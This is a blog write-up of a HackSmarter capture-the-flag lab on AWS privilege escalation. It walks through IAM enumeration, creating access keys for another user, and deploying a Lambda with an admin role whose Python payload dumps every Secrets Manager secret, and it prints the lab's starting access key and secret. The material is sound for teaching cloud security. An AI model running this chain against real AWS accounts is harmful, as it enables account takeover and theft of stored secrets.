HackSmarter | Mapper (Medium)

HackSmarter | Mapper (Medium)

Sebin Thomas
  2026-08-29 00:50 2026-08-29 00:50 Created   2026-08-29 10:16:08 2026-08-29 10:16:08 Updated    1.9k Words  11 Mins

Platform: HackSmarter
Lab: Mapper
Difficulty: Medium
Category: AWS Cloud Security

Objective

You have been hired to perform an AWS pentest against a client’s account. They have requested you perform a full audit of all the IAM Users and identify any possible privilege escalation paths. To demonstrate impact, they have put a flag in the Secrets Manager that is only available to Administrators.

Initial Access

The client has provided an Access Key and Secret for the starting user. Additionally, this starting user can create Access Keys and Secrets for any IAM User in the account. If you find a privesc path, create credentials for that user and demonstrate impact.

Overview

This challenge demonstrates a classic AWS privilege escalation chain rooted in two over-permissive IAM policies:

  1. iam:CreateAccessKey scoped to all users - lets us generate credentials for any IAM user in the account.
  2. A Lambda developer policy with iam:PassRole targeting an admin execution role - lets us deploy a function that runs with full admin permissions.

The full chain: low-privilege IAM user -> lateral move to a Lambda developer user -> create a Lambda with an admin role -> exfiltrate Secrets Manager data.

Setting Up

Configure the provided credentials and verify the identity:

1
2
3
4
5
➜  Mapper aws configure --profile mapper
AWS Access Key ID [None]: AKIATIGMRIQMRY6SWVGN
AWS Secret Access Key [None]: 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
Default region name [None]: 
Default output format [None]: 
1
➜  Mapper aws sts get-caller-identity --profile mapper
1
2
3
4
5
{
    "UserId": "AIDATIGMRIQM6JCIGXII4",
    "Account": "223767249945",
    "Arn": "arn:aws:iam::223767249945:user/cg-pentest-lab"
}

Enumeration

Checking Our Own Permissions

First check what managed and inline policies are attached to our starting user:

1
➜  Mapper aws iam list-attached-user-policies --user-name cg-pentest-lab --profile mapper | jq
1
2
3
4
5
6
7
8
{
  "AttachedPolicies": [
    {
      "PolicyName": "IAMReadOnlyAccess",
      "PolicyArn": "arn:aws:iam::aws:policy/IAMReadOnlyAccess"
    }
  ]
}
1
➜  Mapper aws iam list-user-policies --user-name cg-pentest-lab --profile mapper
1
2
3
4
5
{
    "PolicyNames": [
        "cg-pentest-create-access-key-lab"
    ]
}

An inline policy called cg-pentest-create-access-key-lab stands out. Let’s pull it:

1
➜  Mapper aws iam get-user-policy --user-name cg-pentest-lab --policy-name cg-pentest-create-access-key-lab --profile mapper
1
2
3
4
5
6
7
8
9
10
11
{
    "PolicyDocument": {
        "Statement": [
            {
                "Action": "iam:CreateAccessKey",
                "Effect": "Allow",
                "Resource": "arn:aws:iam::*:user/*"
            }
        ]
    }
}

iam:CreateAccessKey on * - this is the golden ticket. We can generate access keys for any IAM user in the account, effectively impersonating them without needing their existing credentials.

Enumerating All Users

With IAMReadOnlyAccess we can list every user in the account:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
➜  Mapper aws iam list-users --profile mapper --query 'Users[].UserName' --output text | tr '\t' '\n'
cg-agdyfszs-lab
cg-avwxgwpz-lab
cg-baywkavu-lab
cg-bdatyeps-lab
cg-cenmgkvf-lab
cg-cfjbxwsr-lab
cg-cldnbpcr-lab
cg-cpcrzbce-lab
cg-cywoppeb-lab
cg-czjjvqyv-lab
cg-dawzfptd-lab
cg-ddtvflql-lab
cg-dednwkjd-lab
cg-dexmcbkc-lab
cg-dfyvsjkb-lab
cg-dgacvizk-lab
cg-dglqwbwk-lab
cg-dpasmeji-lab
cg-efvjddpf-lab
cg-eguersxo-lab
cg-eruzuvso-lab
cg-eubwjezg-lab
cg-eynmbkbb-lab
cg-fbyerzph-lab
cg-ffpjykcq-lab
cg-fkspvltu-lab
cg-fvvwbbdj-lab
cg-fwgavdui-lab
cg-gfapwrvj-lab
cg-hlusemva-lab
cg-hwgpjdvk-lab
cg-icrmfclp-lab
cg-jxtqjltp-lab
cg-kdrokjbb-lab
cg-kemqpxsf-lab
cg-kgptpzoy-lab
cg-kipcasex-lab
cg-krszdpcy-lab
cg-kvlbwbgz-lab
cg-lfqcjbfr-lab
cg-llveerxu-lab
cg-loxgbpak-lab
cg-lpsbgzcq-lab
cg-mdnscmbc-lab
cg-meccswcv-lab
cg-mlphfkfs-lab
cg-mtityngf-lab
cg-nbpisqjs-lab
cg-ndvvomff-lab
cg-nfykkrzg-lab
cg-nihbotyh-lab
cg-njtzjqpm-lab
cg-ocqbpexd-lab
cg-ojnmnbtc-lab
cg-olpfuxrz-lab
cg-omclitxd-lab
cg-osggustj-lab
cg-pctwjibt-lab
cg-penozocf-lab
cg-pentest-lab
cg-pjpvrrqs-lab
cg-pteymzej-lab
cg-pthhlcau-lab
cg-pwrclpby-lab
cg-qrldyryv-lab
cg-rscdsqrb-lab
cg-rueyoxul-lab
cg-rwuzqazp-lab
cg-sbrrccoc-lab
cg-sqwepsmr-lab
cg-stxzoqbt-lab
cg-svuccqfa-lab
cg-svutducn-lab
cg-tcvjijwd-lab
cg-trmnlrak-lab
cg-twflxbde-lab
cg-txfquyvh-lab
cg-uarrzjbx-lab
cg-uboaxxku-lab
cg-udkkhbyw-lab
cg-ujoiesml-lab
cg-ujyjycer-lab
cg-umkortgw-lab
cg-uqxgyvgs-lab
cg-usubfswn-lab
cg-uupviejn-lab
cg-vaapwvfw-lab
cg-vizdfblk-lab
cg-vjwxofbq-lab
cg-vrimvuct-lab
cg-vrjatzav-lab
cg-vrxbyxoa-lab
cg-vzoujybv-lab
cg-wyvwelnq-lab
cg-xiqjoykv-lab
cg-xsvexqtu-lab
cg-yqkhupwh-lab
cg-yvyeplzn-lab
cg-yxljioud-lab
cg-zeqtjscn-lab
cg-ziwgcgcg-lab
cg-znlidksk-lab
➜  Mapper aws iam list-users --profile mapper --query 'Users[].UserName' --output text | tr '\t' '\n' > users.txt 
➜  Mapper

That gives us 101 users. Now loop through and dump their managed policies:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
➜  Mapper for u in $(cat users.txt); do echo "$u: $(aws iam list-attached-user-policies --user-name "$u" --profile mapper --query 'AttachedPolicies[].PolicyName' --output text)"; done
cg-agdyfszs-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-avwxgwpz-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-baywkavu-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-bdatyeps-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-cenmgkvf-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-cfjbxwsr-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-cldnbpcr-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-cpcrzbce-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-cywoppeb-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-czjjvqyv-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-dawzfptd-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-ddtvflql-lab: 
cg-dednwkjd-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-dexmcbkc-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-dfyvsjkb-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-dgacvizk-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-dglqwbwk-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-dpasmeji-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-efvjddpf-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-eguersxo-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-eruzuvso-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-eubwjezg-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-eynmbkbb-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-fbyerzph-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-ffpjykcq-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-fkspvltu-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-fvvwbbdj-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-fwgavdui-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-gfapwrvj-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-hlusemva-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-hwgpjdvk-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-icrmfclp-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-jxtqjltp-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-kdrokjbb-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-kemqpxsf-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-kgptpzoy-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-kipcasex-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-krszdpcy-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-kvlbwbgz-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-lfqcjbfr-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-llveerxu-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-loxgbpak-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-lpsbgzcq-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-mdnscmbc-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-meccswcv-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-mlphfkfs-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-mtityngf-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-nbpisqjs-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-ndvvomff-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-nfykkrzg-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-nihbotyh-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-njtzjqpm-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-ocqbpexd-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-ojnmnbtc-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-olpfuxrz-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-omclitxd-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-osggustj-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-pctwjibt-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-penozocf-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-pentest-lab: IAMReadOnlyAccess
cg-pjpvrrqs-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-pteymzej-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-pthhlcau-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-pwrclpby-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-qrldyryv-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-rscdsqrb-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-rueyoxul-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-rwuzqazp-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-sbrrccoc-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-sqwepsmr-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-stxzoqbt-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-svuccqfa-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-svutducn-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-tcvjijwd-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-trmnlrak-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-twflxbde-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-txfquyvh-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-uarrzjbx-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-uboaxxku-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-udkkhbyw-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-ujoiesml-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-ujyjycer-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-umkortgw-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-uqxgyvgs-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-usubfswn-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-uupviejn-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-vaapwvfw-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-vizdfblk-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-vjwxofbq-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-vrimvuct-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-vrjatzav-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-vrxbyxoa-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-vzoujybv-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-wyvwelnq-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-xiqjoykv-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-xsvexqtu-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-yqkhupwh-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-yvyeplzn-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-yxljioud-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-zeqtjscn-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-ziwgcgcg-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
cg-znlidksk-lab: AmazonEC2ReadOnlyAccess        AmazonS3ReadOnlyAccess
➜  Mapper

Almost every user has the same boring combo: AmazonEC2ReadOnlyAccess + AmazonS3ReadOnlyAccess. But one stands out immediately:

1
cg-ddtvflql-lab:

No managed policies at all. That’s suspicious - could mean it’s relying entirely on inline policies.

Digging Into cg-ddtvflql-lab

Check for inline policies and group memberships:

1
2
➜  Mapper aws iam list-user-policies --user-name cg-ddtvflql-lab  --profile mapper  --output text                          
POLICYNAMES     cg-lambda-developer-policy-lab
1
➜  Mapper aws iam list-groups-for-user --user-name cg-ddtvflql-lab --profile mapper --output text

No groups. Everything is in that one inline policy. Let’s read it:

1
➜  Mapper aws iam get-user-policy --user-name cg-ddtvflql-lab --policy-name cg-lambda-developer-policy-lab --profile mapper
1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
    "Statement": [
        {
            "Action": ["lambda:CreateFunction", "lambda:InvokeFunction"],
            "Effect": "Allow",
            "Resource": "*"
        },
        {
            "Action": "iam:PassRole",
            "Effect": "Allow",
            "Resource": "arn:aws:iam::223767249945:role/cg-LambdaAdminExecutionRole-lab"
        }
    ]
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
➜  Mapper aws iam get-user-policy --user-name cg-ddtvflql-lab --policy-name cg-lambda-developer-policy-lab --profile mapper  --output table
--------------------------------------------------------------------------------------------------
|                                          GetUserPolicy                                         |
+-------------------------------------------------------------+----------------------------------+
|                         PolicyName                          |            UserName              |
+-------------------------------------------------------------+----------------------------------+
|  cg-lambda-developer-policy-lab                             |  cg-ddtvflql-lab                 |
+-------------------------------------------------------------+----------------------------------+
||                                        PolicyDocument                                        ||
|+----------------------------------------+-----------------------------------------------------+|
||  Version                               |  2012-10-17                                         ||
|+----------------------------------------+-----------------------------------------------------+|
|||                                          Statement                                         |||
||+-----------------------------------------------------------------+-----------+--------------+||
|||                             Action                              |  Effect   |  Resource    |||
||+-----------------------------------------------------------------+-----------+--------------+||
|||  ['lambda:CreateFunction', 'lambda:InvokeFunction']             |  Allow    |  *           |||
||+-----------------------------------------------------------------+-----------+--------------+||
||||                                          Action                                          ||||
|||+------------------------------------------------------------------------------------------+|||
||||  lambda:CreateFunction                                                                   ||||
||||  lambda:InvokeFunction                                                                   ||||
|||+------------------------------------------------------------------------------------------+|||
|||                                          Statement                                         |||
||+--------------+---------+-------------------------------------------------------------------+||
|||    Action    | Effect  |                             Resource                              |||
||+--------------+---------+-------------------------------------------------------------------+||
|||  iam:PassRole|  Allow  |  arn:aws:iam::223767249945:role/cg-LambdaAdminExecutionRole-lab   |||
||+--------------+---------+-------------------------------------------------------------------+||
||||                                          Action                                          ||||
|||+------------------------------------------------------------------------------------------+|||
➜  Mapper

This user can:

  • Create and invoke Lambda functions on any resource
  • Pass cg-LambdaAdminExecutionRole-lab (an admin execution role) to those functions

This means any Lambda we create will run with admin-level permissions inside the account.

Lateral Movement - Taking Over cg-ddtvflql-lab

Using our iam:CreateAccessKey primitive, we generate fresh credentials for cg-ddtvflql-lab:

1
➜  Mapper aws iam create-access-key --user-name cg-ddtvflql-lab --profile mapper
1
2
3
4
5
6
7
8
{
    "AccessKey": {
        "UserName": "cg-ddtvflql-lab",
        "AccessKeyId": "AKIATIGMRIQM4KBZJVW5",
        "Status": "Active",
        "SecretAccessKey": "<REDACTED>"
    }
}

Configure and verify:

1
➜  Mapper aws configure --profile cg-ddtvflql-lab
1
➜  Mapper aws sts get-caller-identity --profile cg-ddtvflql-lab
1
2
3
4
5
{
    "UserId": "AIDATIGMRIQM7CXMK4BFH",
    "Account": "223767249945",
    "Arn": "arn:aws:iam::223767249945:user/cg-ddtvflql-lab"
}

We’re now operating as cg-ddtvflql-lab.

Privilege Escalation - Lambda + PassRole Abuse

The iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction combination is a well-known AWS privilege escalation path. We create a Lambda, attach the admin execution role to it, and the function runs with those elevated permissions inside AWS.

The Payload

1
2
3
4
5
6
7
8
9
10
# lambda_function.py
import boto3

def lambda_handler(event, context):
    sm = boto3.client("secretsmanager")
    return [
        {"name": s["Name"], "value": sm.get_secret_value(SecretId=s["ARN"])["SecretString"]}
        for p in sm.get_paginator("list_secrets").paginate()
        for s in p["SecretList"]
    ]

This function uses the Lambda execution role’s permissions to connect to Secrets Manager and dump every secret in the account. The key insight: the function runs as the role, not as our IAM user - so even though cg-ddtvflql-lab has no direct Secrets Manager access, the Lambda does.

Deploy and Invoke

Zip up the function:

1
zip lambda.zip lambda_function.py

Deploy it with the admin role attached:

1
aws lambda create-function --function-name hs-flag-2 --runtime python3.12 --role arn:aws:iam::223767249945:role/cg-LambdaAdminExecutionRole-lab --handler lambda_function.lambda_handler --zip-file fileb://lambda.zip --profile cg-ddtvflql-lab --region us-east-1

Invoke it:

1
aws lambda invoke --function-name hs-flag-2 --profile cg-ddtvflql-lab output.json --region us-east-1

Result

1
cat output.json | jq
1
2
3
4
5
6
[
  {
    "name": "cg-admin-flag-lab",
    "value": "HSM{<REDACTED>}"
  }
]

References

Thanks for reading! If you spot any mistakes or have questions or feedback about anything in this write-up, feel free to reach out - I’m always happy to discuss. You can find me on GitHub and LinkedIn.

  • Title: HackSmarter | Mapper (Medium)
  • Author: Sebin Thomas
  • Created at : 2026-08-29 00:50:00
  • Updated at : 2026-08-29 10:16:08
  • Link: https://blog.sebinthomas.in/2026/08/28/hacksmarter-mapper-medium/
  • License: All Rights Reserved © Sebin Thomas
On this page
HackSmarter | Mapper (Medium)
  1. Objective
  2. Initial Access
  3. Overview
  4. Setting Up
  5. Enumeration
    1. Checking Our Own Permissions
    2. Enumerating All Users
    3. Digging Into cg-ddtvflql-lab
  6. Lateral Movement - Taking Over cg-ddtvflql-lab
  7. Privilege Escalation - Lambda + PassRole Abuse
    1. The Payload
    2. Deploy and Invoke
    3. Result
  8. References